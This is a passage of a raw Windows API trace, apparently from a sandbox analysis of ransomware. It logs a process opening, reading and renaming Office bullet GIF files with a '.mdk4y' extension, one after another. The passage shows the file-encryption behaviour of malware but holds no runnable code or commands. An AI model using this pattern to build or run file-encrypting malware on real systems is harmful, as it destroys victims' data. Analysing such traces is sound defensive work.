lpWideCharStr="BD14831_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14831_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.396] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862700000) returned 1 [0183.397] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb3, lpOverlapped=0x0) returned 1 [0183.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862800000) returned 1 [0183.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862800000) returned 1 [0183.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif.mdk4y")) returned 1 [0183.398] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.398] AreFileApisANSI () returned 1 [0183.398] GetACP () returned 0x4e4 [0183.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14832_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14832_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.399] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862900000) returned 1 [0183.399] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb4, lpOverlapped=0x0) returned 1 [0183.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863000000) returned 1 [0183.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863000000) returned 1 [0183.401] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif.mdk4y")) returned 1 [0183.401] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.401] AreFileApisANSI () returned 1 [0183.401] GetACP () returned 0x4e4 [0183.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14833_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14833_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.401] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863200000) returned 1 [0183.402] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2, lpOverlapped=0x0) returned 1 [0183.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863200000) returned 1 [0183.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863200000) returned 1 [0183.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif.mdk4y")) returned 1 [0183.403] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.403] AreFileApisANSI () returned 1 [0183.403] GetACP () returned 0x4e4 [0183.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14866_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14866_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.403] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863400000) returned 1 [0183.404] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f5, lpOverlapped=0x0) returned 1 [0183.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863500000) returned 1 [0183.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863500000) returned 1 [0183.405] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif.mdk4y")) returned 1 [0183.406] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.406] AreFileApisANSI () returned 1 [0183.406] GetACP () returned 0x4e4 [0183.406] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14867_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14867_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.406] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863600000) returned 1 [0183.406] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xfd, lpOverlapped=0x0) returned 1 [0183.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863700000) returned 1 [0183.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863700000) returned 1 [0183.407] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif.mdk4y")) returned 1 [0183.408] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.408] AreFileApisANSI () returned 1 [0183.408] GetACP () returned 0x4e4 [0183.408] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14868_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14868_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.408] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863800000) returned 1 [0183.408] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a3, lpOverlapped=0x0) returned 1 [0183.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863900000) returned 1 [0183.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825863900000) returned 1 [0183.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif.mdk4y")) returned 1 [0183.410] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.410] AreFileApisANSI () returned 1 [0183.410] GetACP () returned 0x4e4 [0183.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14869_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14869_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.410] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864000000) returned 1 [0183.411] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc4, lpOverlapped=0x0) returned 1 [0183.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864100000) returned 1 [0183.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864100000) returned 1 [0183.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif.mdk4y")) returned 1 [0183.412] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.412] AreFileApisANSI () returned 1 [0183.412] GetACP () returned 0x4e4 [0183.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14870_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14870_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864400000) returned 1 [0183.414] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a4, lpOverlapped=0x0) returned 1 [0183.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864500000) returned 1 [0183.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864500000) returned 1 [0183.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif.mdk4y")) returned 1 [0183.416] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.416] AreFileApisANSI () returned 1 [0183.416] GetACP () returned 0x4e4 [0183.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14871_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14871_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.416] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864700000) returned 1 [0183.417] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc2, lpOverlapped=0x0) returned 1 [0183.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864800000) returned 1 [0183.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825864800000) returned 1 [0183.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif.mdk4y")) returned 1 [0183.419] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.419] AreFileApisANSI () returned 1 [0183.419] GetACP () returned 0x4e4 [0183.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14980_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14980_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865100000) returned 1 [0183.421] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1cf, lpOverlapped=0x0) returned 1 [0183.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865100000) returned 1 [0183.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865100000) returned 1 [0183.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif.mdk4y")) returned 1 [0183.422] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.422] AreFileApisANSI () returned 1 [0183.422] GetACP () returned 0x4e4 [0183.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14981_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14981_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.422] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865300000) returned 1 [0183.423] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x164, lpOverlapped=0x0) returned 1 [0183.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865400000) returned 1 [0183.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865400000) returned 1 [0183.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif.mdk4y")) returned 1 [0183.424] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.425] AreFileApisANSI () returned 1 [0183.425] GetACP () returned 0x4e4 [0183.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14982_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14982_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.425] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865500000) returned 1 [0183.425] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc6, lpOverlapped=0x0) returned 1 [0183.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865600000) returned 1 [0183.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865600000) returned 1 [0183.426] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif.mdk4y")) returned 1 [0183.427] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.428] AreFileApisANSI () returned 1 [0183.428] GetACP () returned 0x4e4 [0183.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14983_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14983_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.428] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865800000) returned 1 [0183.428] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7c, lpOverlapped=0x0) returned 1 [0183.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865900000) returned 1 [0183.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825865900000) returned 1 [0183.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif.mdk4y")) returned 1 [0183.430] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.430] AreFileApisANSI () returned 1 [0183.430] GetACP () returned 0x4e4 [0183.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14984_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14984_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.430] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866200000) returned 1 [0183.432] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb6, lpOverlapped=0x0) returned 1 [0183.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866300000) returned 1 [0183.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866300000) returned 1 [0183.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif.mdk4y")) returned 1 [0183.434] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.434] AreFileApisANSI () returned 1 [0183.434] GetACP () returned 0x4e4 [0183.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14985_.GIF", cchWideChar=12, 